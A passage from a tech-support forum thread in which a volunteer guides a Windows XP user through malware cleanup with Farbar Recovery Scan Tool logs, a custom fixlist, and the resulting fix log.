    MSCONFIG\startupreg: IndxStoreSvr_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA} => "C:\Program Files\Common Files\Nero\Lib\NMIndexStoreSvr.exe" ASO-616B5711-6DAE-4795-A05F-39A1E5104020
    MSCONFIG\startupreg: iTunesHelper => "C:\Program Files\iTunes\iTunesHelper.exe"
    MSCONFIG\startupreg: uTorrent => "C:\Documents and Settings\Geny\Application Data\uTorrent\uTorrent.exe" /MINIMIZED

    ==================== FirewallRules (Whitelisted) ===============

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    DomainProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\wlcsdk.exe] => Enabled:Windows Live Call
    DomainProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\msnmsgr.exe] => Enabled:Windows Live Messenger
    DomainProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Sync\WindowsLiveSync.exe] => Enabled:Windows Live Sync
    DomainProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqkygrp.exe] => Enabled:hpqkygrp.exe
    DomainProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpfcCopy.exe] => Enabled:hpfccopy.exe
    DomainProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpiscnapp.exe] => Enabled:hpiscnapp.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\Microsoft Office\Office12\OUTLOOK.EXE] => Enabled:Microsoft Office Outlook
    StandardProfile\AuthorizedApplications: [C:\Program Files\Microsoft Office\Office12\GROOVE.EXE] => Enabled:Microsoft Office Groove
    StandardProfile\AuthorizedApplications: [C:\Program Files\Microsoft Office\Office12\ONENOTE.EXE] => Enabled:Microsoft Office OneNote
    StandardProfile\AuthorizedApplications: [C:\Program Files\Common Files\Adobe\CS4ServiceManager\CS4ServiceManager.exe] => Enabled:Adobe CSI CS4
    StandardProfile\AuthorizedApplications: [C:\Program Files\Common Files\Adobe\Adobe Version Cue CS4\Server\bin\VersionCueCS4.exe] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\wlcsdk.exe] => Enabled:Windows Live Call
    StandardProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\msnmsgr.exe] => Enabled:Windows Live Messenger
    StandardProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Sync\WindowsLiveSync.exe] => Enabled:Windows Live Sync
    StandardProfile\AuthorizedApplications: [C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Google Talk Plugin\googletalkplugin.exe] => Enabled:Google Talk Plugin
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqkygrp.exe] => Enabled:hpqkygrp.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpfccopy.exe] => Enabled:hpfccopy.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpiscnapp.exe] => Enabled:hpiscnapp.exe
    StandardProfile\AuthorizedApplications: [C:\Documents and Settings\Geny\Application Data\uTorrent\uTorrent.exe] => Enabled:µTorrent
    StandardProfile\AuthorizedApplications: [C:\Program Files\Jawbone\JawboneUpdater.exe] => Enabled:JawboneUpdater
    StandardProfile\AuthorizedApplications: [C:\Program Files\Bonjour\mDNSResponder.exe] => Enabled:Bonjour Service
    StandardProfile\AuthorizedApplications: [C:\Program Files\Google\Chrome\Application\chrome.exe] => Enabled:Google Chrome
    StandardProfile\AuthorizedApplications: [C:\Program Files\iTunes\iTunes.exe] => Enabled:iTunes
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\Av\avgnsx.exe] => Enabled:Online Shield
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\Av\avgdiagex.exe] => Enabled:AVG Diagnostics
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\Av\avgmfapx.exe] => Enabled:AVG Installer
    StandardProfile\AuthorizedApplications: [C:\Program Files\Mozilla Firefox\firefox.exe] => Enabled:'Firefox' (C:\Program Files\Mozilla Firefox)
    DomainProfile\GloballyOpenPorts: [139:TCP] => Enabled:mad:xpsp2res.dll,-22004
    DomainProfile\GloballyOpenPorts: [445:TCP] => Enabled:mad:xpsp2res.dll,-22005
    DomainProfile\GloballyOpenPorts: [137:UDP] => Enabled:mad:xpsp2res.dll,-22001
    DomainProfile\GloballyOpenPorts: [138:UDP] => Enabled:mad:xpsp2res.dll,-22002
    StandardProfile\GloballyOpenPorts: [5353:TCP] => Enabled:Adobe CSI CS4
    StandardProfile\GloballyOpenPorts: [3703:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [3704:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [51000:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [51001:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [1900:UDP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22007
    StandardProfile\GloballyOpenPorts: [2869:TCP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22008
    StandardProfile\GloballyOpenPorts: [139:TCP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22004
    StandardProfile\GloballyOpenPorts: [445:TCP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22005
    StandardProfile\GloballyOpenPorts: [137:UDP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22001
    StandardProfile\GloballyOpenPorts: [138:UDP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22002

    ==================== Faulty Device Manager Devices =============

    Name: Dell Wireless 1505 Draft 802.11n WLAN Mini-Card
    Description: Dell Wireless 1505 Draft 802.11n WLAN Mini-Card
    Class Guid: {4D36E972-E325-11CE-BFC1-08002BE10318}
    Manufacturer: Broadcom
    Service: BCM43XX
    Problem: : This device is disabled. (Code 22)
    Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.


    ==================== Event log errors: =========================

    Application errors:
    ==================
    Error: (11/16/2015 08:48:22 PM) (Source: Chrome) (EventID: 1) (User: NT AUTHORITY)
    Description: Chrome has encountered a fatal error.
    ver=46.0.2490.86;lang=;guid=848F43501BE44B7E8592254C1BEDFE74;is_machine=1;oop=1;upload=1;minidump=C:\Program Files\Google\CrashReports\94282269-3af5-47ce-8573-9eabd0063c98.dmp

    Error: (11/16/2015 08:39:09 PM) (Source: Chrome) (EventID: 1) (User: NT AUTHORITY)
    Description: Chrome has encountered a fatal error.
    ver=46.0.2490.86;lang=;guid=848F43501BE44B7E8592254C1BEDFE74;is_machine=1;oop=1;upload=1;minidump=C:\Program Files\Google\CrashReports\fccf767f-222a-427c-8d52-7094ef9e1227.dmp

    Error: (11/14/2015 06:51:05 PM) (Source: .NET Runtime 2.0 Error Reporting) (EventID: 5000) (User: )
    Description: EventType clr20r3, P1 powershell.exe, P2 6.0.5430.0, P3 451acab4, P4 microsoft.powershell.consolehost, P5 1.0.0.0, P6 451ac9ad, P7 1d4, P8 4d, P9 clr20r30, P10 clr20r31.

    Error: (11/14/2015 06:51:05 PM) (Source: .NET Runtime 2.0 Error Reporting) (EventID: 5000) (User: )
    Description: EventType clr20r3, P1 powershell.exe, P2 6.0.5430.0, P3 451acab4, P4 microsoft.powershell.consolehost, P5 1.0.0.0, P6 451ac9ad, P7 1d4, P8 4d, P9 clr20r30, P10 clr20r31.

    Error: (11/14/2015 06:51:02 PM) (Source: .NET Runtime) (EventID: 1023) (User: )
    Description: .NET Runtime version 2.0.50727.3655 - The handle is invalid.

    Error: (11/14/2015 06:51:02 PM) (Source: .NET Runtime) (EventID: 1023) (User: )
    Description: .NET Runtime version 2.0.50727.3655 - The handle is invalid.

    Error: (11/14/2015 02:56:23 PM) (Source: .NET Runtime 2.0 Error Reporting) (EventID: 5000) (User: )
    Description: EventType clr20r3, P1 powershell.exe, P2 6.0.5430.0, P3 451acab4, P4 microsoft.powershell.consolehost, P5 1.0.0.0, P6 451ac9ad, P7 1d4, P8 4d, P9 clr20r30, P10 clr20r31.

    Error: (11/14/2015 02:55:54 PM) (Source: .NET Runtime) (EventID: 1023) (User: )
    Description: .NET Runtime version 2.0.50727.3655 - The handle is invalid.

    Error: (11/14/2015 08:09:59 AM) (Source: Application Hang) (EventID: 1002) (User: )
    Description: Hanging application iTunes.exe, version 12.1.2.27, hang module hungapp, version 0.0.0.0, hang address 0x00000000.

    Error: (11/11/2015 10:45:46 PM) (Source: Application Error) (EventID: 1000) (User: )
    Description: Faulting application avgdiagex.exe, version 1.22.1.27494, faulting module unknown, version 0.0.0.0, fault address 0x00eb0003.
    Processing media-specific event for [avgdiagex.exe!ws!]


    System errors:
    =============
    Error: (11/18/2015 07:44:52 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053

    Error: (11/18/2015 07:44:52 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
    Description: Timeout (30000 milliseconds) waiting for the HP Support Solutions Framework Service service to connect.

    Error: (11/18/2015 07:34:20 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
    Description: The DW WLAN Tray Service service terminated unexpectedly. It has done this 1 time(s).

    Error: (11/18/2015 07:23:38 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053

    Error: (11/18/2015 07:23:38 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
    Description: Timeout (30000 milliseconds) waiting for the HP Support Solutions Framework Service service to connect.

    Error: (11/18/2015 07:18:57 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053

    Error: (11/18/2015 07:18:57 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
    Description: Timeout (30000 milliseconds) waiting for the HP Support Solutions Framework Service service to connect.

    Error: (11/18/2015 07:13:45 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053

    Error: (11/18/2015 07:13:45 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
    Description: Timeout (30000 milliseconds) waiting for the HP Support Solutions Framework Service service to connect.

    Error: (11/18/2015 06:51:47 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053


    ==================== Memory info ===========================

    Processor: Intel(R) Core(TM)2 Duo CPU E7500 @ 2.93GHz
    Percentage of memory in use: 28%
    Total physical RAM: 3035.57 MB
    Available physical RAM: 2171.27 MB
    Total Virtual: 4921.73 MB
    Available Virtual: 4552.25 MB

    ==================== Drives ================================

    Drive c: () (Fixed) (Total:232.79 GB) (Free:169.49 GB) NTFS ==>[drive with boot components (Windows XP)]
    Drive d: (Data) (Fixed) (Total:931.51 GB) (Free:619.09 GB) NTFS

    ==================== MBR & Partition Table ==================

    ========================================================
    Disk: 0 (MBR Code: Windows XP) (Size: 232.8 GB) (Disk ID: A42D04A3)
    Partition 1: (Not Active) - (Size=39 MB) - (Type=DE)
    Partition 2: (Active) - (Size=232.8 GB) - (Type=07 NTFS)

    ========================================================
    Disk: 1 (MBR Code: Windows XP) (Size: 931.5 GB) (Disk ID: D1D31A8F)
    Partition 1: (Not Active) - (Size=931.5 GB) - (Type=07 NTFS)

    ==================== End of Addition.txt ============================
     
  24. Broni

    Broni Malware Annihilator Posts: 52,895   +344

    Download attached fixlist.txt file and save it to the Desktop.
    NOTE. It's important that both files, FRST and fixlist.txt are in the same location or the fix will not work.

    NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system

    Run FRST(FRST64) and press the Fix button just once and wait.
    The tool will make a log on the Desktop (Fixlog.txt). Please post it to your reply.
     

    Attached Files:

  25. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Fix result of Farbar Recovery Scan Tool (x86) Version:20-11-2015
    Ran by Geny (2015-11-22 12:46:31) Run:1
    Running from C:\Documents and Settings\Geny\Desktop
    Loaded Profiles: Geny (Available Profiles: Geny)
    Boot Mode: Normal

    ==============================================

    fixlist content:
    *****************
    HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
    BHO: No Name -> {5C255C8A-E604-49b4-9D64-90988571CECB} -> No File
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @tools.google.com/Google Update;version=3 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll [No File]
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @tools.google.com/Google Update;version=9 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll [No File]
    R3 catchme; \??\C:\ComboFix\catchme.sys [X]
    S0 cerc6; no ImagePath
    S4 IntelIde; no ImagePath
    U3 mbr; \??\C:\DOCUME~1\Geny\LOCALS~1\Temp\mbr.sys [X]
    2015-11-11 11:51 - 2015-11-16 19:54 - 0000664 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\d3d9caps.dat
    2010-04-18 18:49 - 2015-10-29 17:40 - 0148992 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
    2012-11-11 08:07 - 2012-11-11 08:07 - 0027520 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\dt.dat
    2011-01-04 14:30 - 2011-01-06 10:26 - 0001940 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\{96C87F53-AC72-4604-A9CC-186A49F17F3C}.ini
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\localserver32 -> C:\Documents and Settings\Geny\Application Data\Dropbox\bin\Dropbox.exe /autoplay => No File
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E69341A3-E6D2-4175-B60C-C9D3D6FA40F6}\localserver32 -> C:\Documents and Settings\Geny\Application Data\Dropbox\bin\Dropbox.exe /wiacallback => No File

    *****************

    "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer" => key removed successfully.
    "HKU\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\Policies\Microsoft\Internet Explorer" => key removed successfully.
    "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{5C255C8A-E604-49b4-9D64-90988571CECB}" => key removed successfully.
    HKCR\CLSID\{5C255C8A-E604-49b4-9D64-90988571CECB} => key not found.
    "HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Software\MozillaPlugins\@tools.google.com/Google Update;version=3" => key removed successfully.
    C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll => not found.
    "HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Software\MozillaPlugins\@tools.google.com/Google Update;version=9" => key removed successfully.
    C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll => not found.
    catchme => Service stopped successfully.
    catchme => service removed successfully.
    cerc6 => service removed successfully.
    IntelIde => service removed successfully.
    mbr => service removed successfully.
    C:\Documents and Settings\Geny\Local Settings\Application Data\d3d9caps.dat => moved successfully
    C:\Documents and Settings\Geny\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini => moved successfully
    C:\Documents and Settings\Geny\Local Settings\Application Data\dt.dat => moved successfully
    C:\Documents and Settings\Geny\Local Settings\Application Data\{96C87F53-AC72-4604-A9CC-186A49F17F3C}.ini => moved successfully
    "HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}" => key removed successfully.
    "HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E69341A3-E6D2-4175-B60C-C9D3D6FA40F6}" => key removed successfully.

    ==== End of Fixlog 12:46:32 ====
     

Similar Topics

Add New Comment

You need to be a member to leave a comment. Join thousands of tech enthusiasts and participate.
TechSpot Account You may also...